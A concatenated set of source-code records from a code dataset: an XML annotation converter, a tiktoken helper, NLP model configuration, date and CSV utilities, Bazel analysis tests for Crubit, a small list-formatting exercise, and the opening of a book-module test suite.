open(ac_filename, 'Ur')\n tree = ET.parse(aa_filename)\n root = tree.getroot()\n idx_sentences = []\n features_dict = {}\n labels_dict = {}\n for child in root:\n if child.tag == \"unit\": # tag = metadata ou unit ? \n # Une unit est un chunk : il faut trouver debut et fin\n for startChar in child.iter(\"start\"): # trouver le début du \"unit\"\n index = startChar[0]\n i0 = int(index.attrib[\"index\"])\n for endChar in child.iter(\"end\"): # trouver la fin\n index = endChar[0]\n i1 = int(index.attrib[\"index\"])\n for tagType in child.findall(\".//*[type]\"): # ??\n nameType = tagType[0].text\n f_ac.seek(i0)\n# du type : \"5530\\trecording05_session025_Spike_operator\\twe haven't met before have we\"\n annotation = f_ac.read(i1 - i0)\n# devient : ['5530', 'recording05_session025_Spike_operator', 'we', 'have', \"n't\", 'met', 'before', 'have', 'we']\n str_sentence = nltk.word_tokenize(annotation)\n pos_sentence = nltk.pos_tag(str_sentence)\n if nameType == \"paragraph\": # le texte proprement dit, labels O\n i2 = i0 + 1 + len(str_sentence[0]) # longueur du chiffre\n cpt = 2\n idx_sentence = []\n# Le probleme est qu'on parcourt aussi des metadatas : '3310', 'recording05_session025_Spike_operator',\n# Ils sont consideres comme des mots\n while cpt < len(str_sentence): # parcourir les mots et les stocker\n # on rajoute la longueur du mot a cpt-1 +1\n i2 += 1 + len(str_sentence[cpt-1])\n # on le met dans un dict a l'indice du nombre de caracteres\n features_dict[i2] = pos_sentence[cpt]\n labels_dict[i2] = \"O\"\n idx_sentence.append(i2)\n cpt += 1\n idx_sentences.append(idx_sentence)\n else: # Pas 'paragraph', donc pas label O\n attitudeType = __attitude(nameType, tagType) # les labels !\n if attitudeType != \"none\":\n i2 = i0\n cpt = 0\n while cpt < len(str_sentence):\n while i2 not in labels_dict:\n i2 = i2 + 1\n label_alone = labels_dict[i2]\n labels_dict[i2] = __updatelabelBIO(label_alone,\n attitudeType,\n cpt) \n # on vient de rajouter les labels découverts dans le dico de chaque mot\n i2 += len(str_sentence[cpt])\n cpt += 1\n f_ac.close()\n\n f = open(dump_filename, 'w')\n for idx_sentence in idx_sentences:\n for idx in idx_sentence:\n f.write(\"\\t\".join(features_dict[idx])+\"\\t\"+labels_dict[idx])\n f.write('\\n')\n f.write('\\n\\n')\n f.close()\n\n# test pour une seule session\nif TEST:\n dump_semaine(path+\"/ac1/session025.ac\", path+\"/aa1/session025.aa\", \"dump_025\")\n\n\n#%% dump all files\nif not TEST:\n for filename in os.listdir(path+\"/ac1\"):\n # to have : dump_semaine(path+\"/ac1/session025.ac\", path+\"/aa1/session025.aa\", path+\"/dump/dump_025\")\n dump_semaine(path+\"/ac1/\"+filename, path+\"/aa1/\"+filename[:-3]+\".aa\",\n path+\"/dump/dump_all\"+filename[-6:-3])\n","repo_name":"valbarriere/MonProjet","sub_path":"formatage.py","file_name":"formatage.py","file_ext":"py","file_size_in_byte":5728,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37840720169","text":"import tiktoken\nimport regex\n\nencoding = tiktoken.get_encoding(\"cl100k_base\") # Using the cl100k_base model\n\ndef encode_string(user_input):\n results = []\n for t in encoding.encode(user_input): # for each token in the token array\n results.append({\n 'integer': t,\n 'string': encoding.decode([t]),\n 'byte_literal': encoding.decode_bytes([t]),\n })\n return results\n\ndef decode_token(user_input):\n if not regex.match(r'^\\d+$', user_input):\n return \"Input must be an integer.\"\n t = [int(user_input)]\n return {\n 'array_value': t,\n 'decode_to_string': encoding.decode(t),\n 'decode_to_byte_literal': encoding.decode_bytes(t),\n }\n","repo_name":"akuafo/toukun","sub_path":"encodedecodemodule.py","file_name":"encodedecodemodule.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"20706576949","text":"# -*- coding: utf-8 -*-\nfrom typing import List, Union\nfrom collections import OrderedDict\nimport torch\n\nfrom ...config import ConfigList\nfrom ...wrapper import Batch\nfrom ..encoder import EncoderConfig\nfrom ..decoder import (SingleDecoderConfigBase, \n SpecificSpanClsDecoderConfig, \n SpecificSpanRelClsDecoderConfig, \n SpecificSpanSparseRelClsDecoderConfig, \n JointExtractionDecoderConfig)\nfrom .base import ModelConfigBase, ModelBase\n\n\nclass SpecificSpanExtractorConfig(ModelConfigBase):\n \n _pretrained_names = ['bert_like', 'span_bert_like']\n _all_names = _pretrained_names + ['intermediate2', 'span_intermediate2'] + ['decoder']\n \n def __init__(self, decoder: Union[SpecificSpanClsDecoderConfig, str]='specific_span_cls', **kwargs):\n self.bert_like = kwargs.pop('bert_like')\n self.span_bert_like = kwargs.pop('span_bert_like')\n self.intermediate2 = kwargs.pop('intermediate2', EncoderConfig(arch='LSTM', hid_dim=400))\n self.share_interm2 = kwargs.pop('share_interm2', True)\n \n if isinstance(decoder, (SingleDecoderConfigBase, JointExtractionDecoderConfig)):\n self.decoder = decoder\n elif isinstance(decoder, str):\n if decoder.lower().startswith('specific_span_cls'):\n self.decoder = SpecificSpanClsDecoderConfig()\n elif decoder.lower().startswith('specific_span_rel'):\n self.decoder = SpecificSpanRelClsDecoderConfig()\n elif decoder.lower().startswith('specific_span_sparse_rel'):\n self.decoder = SpecificSpanSparseRelClsDecoderConfig()\n elif decoder.lower().startswith('joint_extraction'):\n self.decoder = JointExtractionDecoderConfig(ck_decoder='specific_span_cls', rel_decoder='specific_span_rel_cls')\n else:\n raise ValueError(f\"Invalid `decoder`: {decoder}\")\n \n super().__init__(**kwargs)\n \n \n @property\n def valid(self):\n return super().valid and (self.bert_like is not None) and self.bert_like.output_hidden_states and (self.span_bert_like is not None)\n \n @property\n def span_intermediate2(self):\n if self.share_interm2:\n return None\n elif self.span_bert_like.share_weights_int:\n return self.intermediate2\n else:\n return ConfigList([self.intermediate2 for k in range(2, self.span_bert_like.max_span_size+1)])\n \n \n def build_vocabs_and_dims(self, *partitions):\n if self.intermediate2 is not None:\n self.intermediate2.in_dim = self.bert_like.out_dim\n self.decoder.in_dim = self.intermediate2.out_dim\n else:\n self.decoder.in_dim = self.bert_like.out_dim\n \n self.decoder.build_vocab(*partitions)\n self.span_bert_like.max_span_size = self.decoder.max_span_size\n \n \n def exemplify(self, entry: dict, training: bool=True):\n example = {}\n example['bert_like'] = self.bert_like.exemplify(entry['tokens'])\n example.update(self.decoder.exemplify(entry, training=training))\n return example\n \n \n def batchify(self, batch_examples: List[dict]):\n batch = {}\n batch['bert_like'] = self.bert_like.batchify([ex['bert_like'] for ex in batch_examples])\n batch.update(self.decoder.batchify(batch_examples))\n return batch\n \n \n def instantiate(self):\n # Only check validity at the most outside level\n assert self.valid\n return SpecificSpanExtractor(self)\n\n\n\nclass SpecificSpanExtractor(ModelBase):\n def __init__(self, config: SpecificSpanExtractorConfig):\n super().__init__(config)\n \n \n def pretrained_parameters(self):\n params = []\n params.extend(self.bert_like.bert_like.parameters())\n \n # `torch.nn.Module` use a set to keep up to one copy of each parameter/tensor, \n # which is possibly shared and registered by different names\n # Hence, here we should manually avoid duplicate parameters/tensors\n if not self.span_bert_like.share_weights_ext:\n params.extend(self.span_bert_like.query_bert_like.parameters())\n \n return params\n \n \n def forward2states(self, batch: Batch):\n bert_hidden, all_bert_hidden = self.bert_like(**batch.bert_like)\n all_last_query_states = self.span_bert_like(all_bert_hidden)\n \n if hasattr(self, 'intermediate2'):\n bert_hidden = self.intermediate2(bert_hidden, batch.mask)\n \n new_all_last_query_states = OrderedDict()\n for k, query_hidden in all_last_query_states.items():\n # Allow empty sequences here; expect not to raise inconsistencies in final outputs\n curr_mask = batch.mask[:, k-1:].clone()\n curr_mask[:, 0] = False\n if not hasattr(self, 'span_intermediate2'):\n new_all_last_query_states[k] = self.intermediate2(query_hidden, curr_mask)\n elif not isinstance(self.span_intermediate2, torch.nn.ModuleList):\n new_all_last_query_states[k] = self.span_intermediate2(query_hidden, curr_mask)\n else:\n new_all_last_query_states[k] = self.span_intermediate2[k-2](query_hidden, curr_mask)\n all_last_query_states = new_all_last_query_states\n \n return {'full_hidden': bert_hidden, 'all_query_hidden': all_last_query_states}\n","repo_name":"syuoni/eznlp","sub_path":"eznlp/model/model/specific_span_extractor.py","file_name":"specific_span_extractor.py","file_ext":"py","file_size_in_byte":5609,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"31"} +{"seq_id":"33544636921","text":"from datetime import datetime, timedelta\nimport sys\nimport re\nfrom Utils.u_logging.logging import Logging\nimport csv\nimport calendar\n\n\nclass Utils:\n \"\"\"\n :Date: 2016-11-22\n :Version: 0.1\n :Author: Andrea Patricia Ortiz Pulido - Pontificia Universidad Javeriana, Bogotá\n :Copyright: To be defined\n :Organization: Centro de Excelencia y Apropiación de Big Data y Data Analytics - CAOBA\n\n This class has static methods provided as utils functionalities\n\n \"\"\"\n\n @staticmethod\n def convert_tweet_string_to_date(created_at):\n \"\"\"\n :Date: 2017-02-19\n :Version: 0.3\n :Modified by: Andrea Patricia Ortiz Pulido - Pontificia Universidad Javeriana, Bogotá\n :Author: Katherine Espíndola Buitrago - Pontificia Universidad Javeriana, Bogotá\n\n This method converts the string value of parameter created_at to datetime\n\n :param created_at: String representation of date in UTC format\n :type created_at: str\n :return: datetime representation of the string created_at\n :rtype: datetime\n \"\"\"\n try:\n split_date = created_at.split(\" \")\n split_date.pop(4)\n aux_string = \"{0} {1} {2} {3} {4}\".format(split_date[0], split_date[1], split_date[2], split_date[3],\n split_date[4])\n date_format = \"%a %b %d %H:%M:%S %Y\"\n date_hour = datetime.strptime(aux_string, date_format)\n\n # Subtract five hours for transform to colombian time zone\n created_at = date_hour + timedelta(hours=-5)\n return created_at\n except:\n print(created_at)\n Logging.write_standard_error(sys.exc_info())\n raise Exception(\"Utils - Error while converting Twitter string to date\")\n\n @staticmethod\n def convert_python_string_to_date(date):\n \"\"\"\n :Date: 2017-01-25\n :Version: 0.2\n :Modified by: Katherine Espíndola Buitrago - Pontificia Universidad Javeriana, Bogotá\n :Author: Andrea Patricia Ortiz Pulido - Pontificia Universidad Javeriana, Bogotá\n\n This method converts a string value of a python datetime to native datetime\n\n :param date: String representation of python datetime\n :type date: str\n :return: datetime representation of the string date\n :rtype: datetime\n \"\"\"\n try:\n split_date = re.split('[ |\\-|:|.]', date)\n date_hour = datetime(int(split_date[0]),\n int(split_date[1]),\n int(split_date[2]),\n int(split_date[3]),\n int(split_date[4]),\n int(split_date[5]))\n return date_hour\n except:\n Logging.write_standard_error(sys.exc_info())\n raise Exception(\"Utils - Error while converting python string to date\")\n\n @staticmethod\n def replace_item_in_list(target_list, item_to_replace, replacement_value):\n \"\"\"\n :Date: 2017-03-07\n :Version: 0.2\n :Modified by: Katherine Espíndola Buitrago - Pontificia Universidad Javeriana\n :Author: Juan Camilo Campos - Pontificia Universidad Javeriana Cali\n\n This method replaces every occurrence of the item_to_replace by the replacement value\n\n :param: target_list: list of values\n :type target_list: list\n :param: item_to_replace: value to replace\n :type item_to_replace: object\n :param: replacement_value: replacement value\n :type replacement_value: object\n :rtype: list\n :return: returns the new list\n \"\"\"\n try:\n for n, i in enumerate(target_list):\n if i == item_to_replace:\n target_list[n] = replacement_value\n\n return target_list\n except:\n Logging.write_standard_error(sys.exc_info())\n raise Exception(\"Utils - Error while replacing item in list\")\n\n @staticmethod\n def get_dictionary_from_file(file, encoding, sep=';'):\n \"\"\"\n :Date: 2017-02-23\n :Version: 0.3\n :Modified by: Andrea Patricia Ortiz Pulido - Pontificia Universidad Javeriana, Bogotá\n :Author: Johan Felipe Mendoza - Pontificia Universidad Javeriana, Bogotá\n\n Converts a file without header with unbounded columns into a dictionary\n using the first column as the key, and the second as the value.\n This creates a dictionary with a value with a variable length\n\n :param file: this is the name of the csv we want to convert into a dictionary\n :type file: str\n :param encoding: string that contains the encoding needed for the file\n :type encoding: str\n :param sep: string that contains the delimiter of the file\n :type sep: str\n :return: dictionary with the first column as a key, and the second and third value in a list\n :rtype: dict\n \"\"\"\n try:\n file_data = open(file, encoding=encoding)\n list = csv.reader(file_data, delimiter=sep)\n dictionary = {}\n for i in list:\n if '' in i: i.remove('')\n length = len(i)\n meanings = []\n for x in range(1, length):\n meanings.append(i[x])\n dictionary[i[0]] = meanings\n return dictionary\n except:\n Logging.write_standard_error(sys.exc_info())\n raise Exception(\"Utils - Error while getting dictionary from file\")\n\n \n @staticmethod\n def get_list_from_file(file, encoding, sep=';', set_lower=False):\n \"\"\"\n :Date: 2017-03-04\n :Version: 0.4\n :Modified by: Andrea Patricia Ortiz Pulido - Pontificia Universidad Javeriana, Bogotá\n :Modified by: Katherine Espíndola Buitrago - Pontificia Universidad Javeriana, Bogotá\n :Author: Joan Felipe Mendoza Molina - Pontificia Universidad Javeriana, Bogotá\n\n This method converts a txt file without header into a list.\n\n :param file: name of the txt file\n :type file: str\n :param encoding: string that contains the encoding needed for the file\n :type encoding: str\n :param sep: string that contains the delimiter of the file\n :type sep: str\n :param set_lower: indicates if is necessary to transform data into lower case\n :type set_lower: bool\n :return: tokens included in the txt file\n :rtype: list\n \"\"\"\n try:\n file_data = open(file, encoding=encoding)\n list = csv.reader(file_data, delimiter=sep)\n final_list = []\n for i in list:\n length = len(i)\n if length == 1:\n if set_lower is True:\n final_list.append((i[0]).lower())\n else:\n final_list.append(i[0])\n elif length > 1:\n interm_list = []\n for x in range(length):\n if set_lower is True:\n interm_list.append((i[x]).lower())\n else:\n interm_list.append(i[x])\n final_list.append(interm_list)\n return final_list\n except:\n Logging.write_standard_error(sys.exc_info())\n raise Exception(\"Utils - Error while getting list from file\")\n\n @staticmethod\n def get_query_dates_per_year_and_month(year, month):\n \"\"\"\n :Date: 2017-05-22\n :Version: 0.3\n :Author: Katherine Espíndola Buitrago - Pontificia Universidad Javeriana\n\n This function returns the start and finish date for querying data using the DataAccessObject component. It also\n returns a generation date if the component is generating data.\n\n :param year: integer representation of the requested year\n :type year: int\n :param month: integer representation of the requested month. It must be between 1 and 12\n :type month: int\n :rtype: list\n :return: list with the start date, finish date and generation date, in that orde\n \"\"\"\n try:\n days = calendar.monthrange(year, month)[1]\n generation_date = datetime(year, month, days, 23, 59, 59)\n start_date = datetime(year, month, 1, 0, 0, 0)\n if month == 1:\n finish_date = datetime(year, 2, 1, 0, 0, 0)\n elif month == 12:\n finish_date = datetime(year + 1, 1, 1, 0, 0, 0)\n else:\n finish_date = datetime(year, month + 1, 1, 0, 0, 0)\n return start_date, finish_date, generation_date\n except:\n Logging.write_standard_error(sys.exc_info())\n raise Exception(\"Utils - Error while getting query dates per month and year\")\n","repo_name":"dcalambas/SearchTopics","sub_path":"Utils/u_generic/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74317492249","text":"# Part of the Crubit project, under the Apache License v2.0 with LLVM\n# Exceptions. See /LICENSE for license information.\n# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\n\"\"\"This module contains unit tests for rust_bindings_from_cc_aspect.\"\"\"\n\nload(\"@bazel_skylib//lib:unittest.bzl\", \"analysistest\", \"asserts\")\nload(\n \"//common:crubit_wrapper_macros_oss.bzl\",\n \"crubit_make_analysis_test\",\n)\nload(\n \"//rs_bindings_from_cc/bazel_support:providers.bzl\",\n \"RustBindingsFromCcInfo\",\n)\nload(\n \"//rs_bindings_from_cc/test/bazel_unit_tests:defs.bzl\",\n \"ActionsInfo\",\n \"attach_aspect\",\n)\n\ndef _is_std(t):\n for std_pattern in [\n \"crubit/support/cc_std:cc_std\",\n \"//:_builtin_hdrs\",\n ]:\n if std_pattern in str(t):\n return True\n return False\n\ndef _get_target_args(tut):\n return [\n x\n for x in [\n json.decode(args)\n for args in tut[RustBindingsFromCcInfo].target_args.to_list()\n ]\n if not _is_std(x[\"t\"])\n ]\n\ndef _lib_has_toolchain_targets_and_headers_test_impl(ctx):\n env = analysistest.begin(ctx)\n target_under_test = analysistest.target_under_test(env)\n target_args = [\n json.decode(args)\n for args in target_under_test[RustBindingsFromCcInfo].target_args.to_list()\n ]\n\n asserts.equals(env, 3, len(target_args))\n asserts.true(\n env,\n \"crubit/support/cc_std:cc_std\" in target_args[0][\"t\"],\n )\n asserts.equals(\n env,\n \"//:_nothing_should_depend_on_private_builtin_hdrs\",\n target_args[1][\"t\"],\n )\n asserts.equals(\n env,\n \"//rs_bindings_from_cc/test/bazel_unit_tests/target_args:empty\",\n target_args[2][\"t\"],\n )\n\n return analysistest.end(env)\n\nlib_has_toolchain_targets_and_headers_test = crubit_make_analysis_test(\n _lib_has_toolchain_targets_and_headers_test_impl,\n)\n\ndef _test_lib_has_toolchain_targets_and_headers():\n native.cc_library(name = \"empty\")\n attach_aspect(name = \"empty_with_aspect\", dep = \":empty\")\n lib_has_toolchain_targets_and_headers_test(\n name = \"lib_has_toolchain_targets_and_headers_test\",\n target_under_test = \":empty_with_aspect\",\n )\n\ndef _targets_and_headers_test_impl(ctx):\n env = analysistest.begin(ctx)\n target_under_test = analysistest.target_under_test(env)\n target_args = _get_target_args(target_under_test)\n\n asserts.equals(env, 2, len(target_args))\n asserts.equals(\n env,\n \"//rs_bindings_from_cc/test/bazel_unit_tests/target_args:mylib\",\n target_args[1][\"t\"],\n )\n asserts.equals(\n env,\n [\"rs_bindings_from_cc/test/bazel_unit_tests/target_args/lib.h\"],\n target_args[1][\"h\"],\n )\n\n return analysistest.end(env)\n\ntargets_and_headers_test = crubit_make_analysis_test(_targets_and_headers_test_impl)\n\ndef _test_targets_and_headers():\n native.cc_library(name = \"mylib\", hdrs = [\"lib.h\"])\n attach_aspect(name = \"mylib_with_aspect\", dep = \":mylib\")\n\n targets_and_headers_test(\n name = \"targets_and_headers_test\",\n target_under_test = \":mylib_with_aspect\",\n )\n\ndef _targets_and_headers_propagate_with_cc_info_test_impl(ctx):\n env = analysistest.begin(ctx)\n target_under_test = analysistest.target_under_test(env)\n target_args = _get_target_args(target_under_test)\n\n asserts.equals(env, 4, len(target_args))\n asserts.equals(\n env,\n \"//:_nothing_should_depend_on_private_builtin_hdrs\",\n target_args[0][\"t\"],\n )\n asserts.equals(\n env,\n \"//rs_bindings_from_cc/test/bazel_unit_tests/target_args:bottom\",\n target_args[1][\"t\"],\n )\n asserts.equals(\n env,\n [\"rs_bindings_from_cc/test/bazel_unit_tests/target_args/lib.h\"],\n target_args[1][\"h\"],\n )\n\n asserts.equals(\n env,\n \"//rs_bindings_from_cc/test/bazel_unit_tests/target_args:middle\",\n target_args[2][\"t\"],\n )\n asserts.true(\n env,\n target_args[2][\"h\"][0].endswith(\n \"rs_bindings_from_cc/test/bazel_unit_tests/target_args/middle.empty_source_no_public_headers.h\",\n ),\n )\n\n asserts.equals(\n env,\n \"//rs_bindings_from_cc/test/bazel_unit_tests/target_args:top\",\n target_args[3][\"t\"],\n )\n asserts.equals(\n env,\n [\"rs_bindings_from_cc/test/bazel_unit_tests/target_args/top.h\"],\n target_args[3][\"h\"],\n )\n\n return analysistest.end(env)\n\ntargets_and_headers_propagate_with_cc_info_test = crubit_make_analysis_test(\n _targets_and_headers_propagate_with_cc_info_test_impl,\n)\n\ndef _test_targets_and_headers_propagate_with_cc_infos():\n native.cc_library(name = \"bottom\", hdrs = [\"lib.h\"])\n native.cc_library(name = \"middle\", deps = [\":bottom\"])\n native.cc_library(name = \"top\", hdrs = [\"top.h\"], deps = [\":middle\"])\n attach_aspect(name = \"top_with_aspect\", dep = \":top\")\n\n targets_and_headers_propagate_with_cc_info_test(\n name = \"targets_and_headers_propagate_with_cc_info_test\",\n target_under_test = \":top_with_aspect\",\n )\n\ndef _textual_hdrs_not_in_targets_and_hdrs_impl(ctx):\n env = analysistest.begin(ctx)\n target_under_test = analysistest.target_under_test(env)\n target_args = _get_target_args(target_under_test)\n\n # Check that none of the textual headers made it into the target_args provider.\n asserts.equals(env, 2, len(target_args))\n asserts.equals(\n env,\n [\"rs_bindings_from_cc/test/bazel_unit_tests/target_args/nontextual.h\"],\n target_args[1][\"h\"],\n )\n\n return analysistest.end(env)\n\ntextual_hdrs_not_in_targets_and_hdrs_test = crubit_make_analysis_test(\n _textual_hdrs_not_in_targets_and_hdrs_impl,\n)\n\ndef _toolchain_headers_in_header_analysis_action_test_impl(ctx):\n env = analysistest.begin(ctx)\n target_under_test = analysistest.target_under_test(env)\n analysis_action = [a for a in target_under_test[ActionsInfo].actions if a.mnemonic == \"CppHeaderAnalysis\"][0]\n inputs = analysis_action.inputs.to_list()\n inttypes = [i.path for i in inputs if \"inttypes.h\" in i.path]\n asserts.equals(\n env,\n \"nowhere/llvm/toolchain/include/c++/v1/inttypes.h\",\n inttypes[0],\n )\n asserts.true(\n env,\n inttypes[1] in [\n \"//nowhere/libc_x86include/inttypes.h\",\n \"//nowhere/libc_arminclude/inttypes.h\",\n ],\n )\n asserts.equals(\n env,\n \"third_party/llvm/llvm-project/clang/lib/Headers/inttypes.h\",\n inttypes[2],\n )\n\n return analysistest.end(env)\n\ntoolchain_headers_in_header_analysis_action_test = crubit_make_analysis_test(\n _toolchain_headers_in_header_analysis_action_test_impl,\n)\n\ndef _test_textual_hdrs_not_in_targets_and_hdrs():\n native.cc_library(\n name = \"textual\",\n hdrs = [\n \"nontextual.h\",\n \"textual_in_hdrs.inc\",\n ],\n srcs = [\"textual_in_srcs.inc\"],\n textual_hdrs = [\"textual1.inc\", \"textual2.h\"],\n )\n attach_aspect(name = \"textual_with_aspect\", dep = \":textual\")\n\n textual_hdrs_not_in_targets_and_hdrs_test(\n name = \"textual_hdrs_not_in_targets_and_hdrs_test\",\n target_under_test = \":textual_with_aspect\",\n )\n\ndef _test_toolchain_headers_in_header_analysis_action():\n native.cc_library(\n name = \"somelib\",\n hdrs = [\"someheader.h\"],\n )\n attach_aspect(name = \"somelib_with_aspect\", dep = \":somelib\")\n\n toolchain_headers_in_header_analysis_action_test(\n name = \"toolchain_headers_in_header_analysis_action_test\",\n target_under_test = \":somelib_with_aspect\",\n )\n\ndef _generated_headers_specified_with_full_path_impl(ctx):\n env = analysistest.begin(ctx)\n target_under_test = analysistest.target_under_test(env)\n target_args = _get_target_args(target_under_test)\n\n asserts.equals(env, 2, len(target_args))\n header_path = target_args[1][\"h\"][0]\n asserts.true(\n env,\n header_path\n .endswith(\"rs_bindings_from_cc/test/bazel_unit_tests/target_args/generated.h\"),\n )\n asserts.true(\n env,\n header_path.startswith(\"bazel-out\"),\n )\n\n return analysistest.end(env)\n\ngenerated_headers_specified_with_full_path_test = crubit_make_analysis_test(\n _generated_headers_specified_with_full_path_impl,\n)\n\ndef _test_generated_headers_specified_with_full_path():\n native.genrule(\n name = \"generate_header\",\n outs = [\"generated.h\"],\n cmd = \"touch $@\",\n )\n native.cc_library(\n name = \"use_generated\",\n hdrs = [\n \"generated.h\",\n ],\n )\n attach_aspect(name = \"generated_header_with_aspect\", dep = \":use_generated\")\n\n generated_headers_specified_with_full_path_test(\n name = \"generated_headers_specified_with_full_path_test\",\n target_under_test = \":generated_header_with_aspect\",\n )\n\ndef _target_features_empty_test_impl(ctx):\n env = analysistest.begin(ctx)\n target_under_test = analysistest.target_under_test(env)\n target_args = _get_target_args(target_under_test)\n\n asserts.equals(env, 2, len(target_args))\n asserts.equals(\n env,\n \"//rs_bindings_from_cc/test/bazel_unit_tests/target_args:mylib_empty_features\",\n target_args[1][\"t\"],\n )\n asserts.equals(\n env,\n None,\n target_args[1].get(\"f\"),\n )\n\n return analysistest.end(env)\n\ntarget_features_empty_test = crubit_make_analysis_test(_target_features_empty_test_impl)\n\ndef _test_target_features_empty():\n native.cc_library(name = \"mylib_empty_features\", hdrs = [\"lib.h\"])\n attach_aspect(name = \"mylib_empty_features_with_aspect\", dep = \":mylib_empty_features\")\n\n target_features_empty_test(\n name = \"target_features_empty_test\",\n target_under_test = \":mylib_empty_features_with_aspect\",\n )\n\ndef _target_features_nonempty_test_impl(ctx):\n env = analysistest.begin(ctx)\n target_under_test = analysistest.target_under_test(env)\n target_args = _get_target_args(target_under_test)\n\n asserts.equals(env, 2, len(target_args))\n asserts.equals(\n env,\n \"//rs_bindings_from_cc/test/bazel_unit_tests/target_args:mylib_nonempty_features\",\n target_args[1][\"t\"],\n )\n asserts.equals(\n env,\n [\"experimental\", \"supported\"],\n target_args[1][\"f\"],\n )\n\n return analysistest.end(env)\n\ntarget_features_nonempty_test = crubit_make_analysis_test(_target_features_nonempty_test_impl)\n\ndef _test_target_features_nonempty():\n native.cc_library(name = \"mylib_nonempty_features\", hdrs = [\"lib.h\"], aspect_hints = [\n \"//:supported\",\n \"//:experimental\", # merged in as well\n ])\n attach_aspect(name = \"mylib_nonempty_features_with_aspect\", dep = \":mylib_nonempty_features\")\n\n target_features_nonempty_test(\n name = \"target_features_nonempty_test\",\n target_under_test = \":mylib_nonempty_features_with_aspect\",\n )\n\ndef target_args_test(name):\n \"\"\"Sets up rust_bindings_from_cc_aspect test suite.\n\n Args:\n name: name of the test suite\"\"\"\n _test_targets_and_headers()\n _test_targets_and_headers_propagate_with_cc_infos()\n _test_textual_hdrs_not_in_targets_and_hdrs()\n _test_lib_has_toolchain_targets_and_headers()\n _test_toolchain_headers_in_header_analysis_action()\n _test_generated_headers_specified_with_full_path()\n _test_target_features_empty()\n _test_target_features_nonempty()\n\n native.test_suite(\n name = name,\n tests = [\n \":targets_and_headers_test\",\n \":targets_and_headers_propagate_with_cc_info_test\",\n \":textual_hdrs_not_in_targets_and_hdrs_test\",\n \":lib_has_toolchain_targets_and_headers_test\",\n \":toolchain_headers_in_header_analysis_action_test\",\n \":generated_headers_specified_with_full_path_test\",\n \":target_features_empty_test\",\n \":target_features_nonempty_test\",\n ],\n )\n","repo_name":"google/crubit","sub_path":"rs_bindings_from_cc/test/bazel_unit_tests/target_args/target_args_test.bzl","file_name":"target_args_test.bzl","file_ext":"bzl","file_size_in_byte":11946,"program_lang":"python","lang":"en","doc_type":"code","stars":420,"dataset":"github-code","pt":"31"} +{"seq_id":"42303193449","text":"\ndef comma(arr):\n# arr = ['{0}, '.format(element) for element in arr] #Change/ alter every elements in a list\n\n for index, element in enumerate(arr):\n if arr:\n if index < len(arr)-1:\n arr[index] = '{0}, '.format(element)\n else:\n arr[index] = 'and {0}'.format(element)\n else:\n print('The list is empty')\n\n\n return arr\n\n\n\n\nlist = ['apples', 'bananas', 'tofu', 'cat']\n\nfor element in comma(list):\n print(element, end = '')\n\nprint()\n\n\n\n\n\n\n\n\n\n","repo_name":"ezghou/Python","sub_path":"Part I Python Programming Basics/Comma Code.py","file_name":"Comma Code.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13253122260","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nTest suite for zcomx/modules/books.py\n\"\"\"\nimport datetime\nimport functools\nimport json\nimport os\nimport unittest\nimport urllib.parse\nfrom bs4 import BeautifulSoup\nfrom pydal.objects import Row\nfrom gluon import *\nfrom gluon.storage import Storage\nfrom applications.zcomx.modules.book_pages import (\n BookPage,\n BookPageTmp,\n)\nfrom applications.zcomx.modules.book_types import BookType\nfrom applications.zcomx.modules.books import (\n Book,\n DEFAULT_BOOK_TYPE,\n book_name,\n book_page_for_json,\n book_pages_as_json,\n book_pages_from_tmp,\n book_pages_to_tmp,\n book_pages_years,\n book_tables,\n book_types,\n calc_contributions_remaining,\n calc_status,\n cbz_comment,\n cbz_link,\n cbz_url,\n cc_licence_data,\n complete_link,\n contribute_link,\n contributions_remaining_by_creator,\n contributions_target,\n cover_image,\n default_contribute_amount,\n defaults,\n delete_link,\n download_link,\n downloadable,\n edit_link,\n fileshare_link,\n follow_link,\n formatted_name,\n formatted_number,\n generator,\n get_page,\n html_metadata,\n images,\n is_completed,\n is_downloadable,\n is_followable,\n magnet_link,\n magnet_uri,\n name_fields,\n names,\n next_book_in_series,\n page_url,\n publication_months,\n publication_year_range,\n read_link,\n rss_url,\n set_status,\n short_page_img_url,\n short_page_url,\n short_url,\n show_download_link,\n social_media_data,\n torrent_file_name,\n torrent_link,\n torrent_url,\n update_contributions_remaining,\n update_rating,\n upload_link,\n url,\n)\nfrom applications.zcomx.modules.cc_licences import CCLicence\nfrom applications.zcomx.modules.creators import (\n AuthUser,\n Creator,\n)\nfrom applications.zcomx.modules.events import Contribution\nfrom applications.zcomx.modules.images import (\n SIZES,\n store,\n)\nfrom applications.zcomx.modules.tests.helpers import (\n ImageTestCase,\n ResizerQuick,\n skip_if_quick,\n)\nfrom applications.zcomx.modules.tests.mock import DateMock\nfrom applications.zcomx.modules.tests.runner import LocalTestCase\nfrom applications.zcomx.modules.zco import (\n BOOK_STATUSES,\n BOOK_STATUS_ACTIVE,\n BOOK_STATUS_DISABLED,\n BOOK_STATUS_DRAFT,\n)\n# pylint: disable=missing-docstring\n# pylint: disable=too-many-lines\n\n\nclass WithObjectsTestCase(LocalTestCase):\n \"\"\" Base class for Image test cases. Sets up test data.\"\"\"\n\n _book = None\n _book_page = None\n _book_page_2 = None\n _book_page_tmp = None\n _book_page_tmp_2 = None\n _creator = None\n\n # pylint: disable=invalid-name\n def setUp(self):\n\n self._creator = self.add(Creator, dict(\n email='image_test_case@example.com',\n ))\n\n self._book = self.add(Book, dict(\n name='Image Test Case',\n creator_id=self._creator.id,\n ))\n\n self._book_page = self.add(BookPage, dict(\n book_id=self._book.id,\n page_no=1,\n ))\n\n self._book_page_2 = self.add(BookPage, dict(\n book_id=self._book.id,\n page_no=2,\n ))\n\n self._book_page_tmp = self.add(BookPageTmp, dict(\n book_id=self._book.id,\n page_no=1,\n ))\n\n self._book_page_tmp_2 = 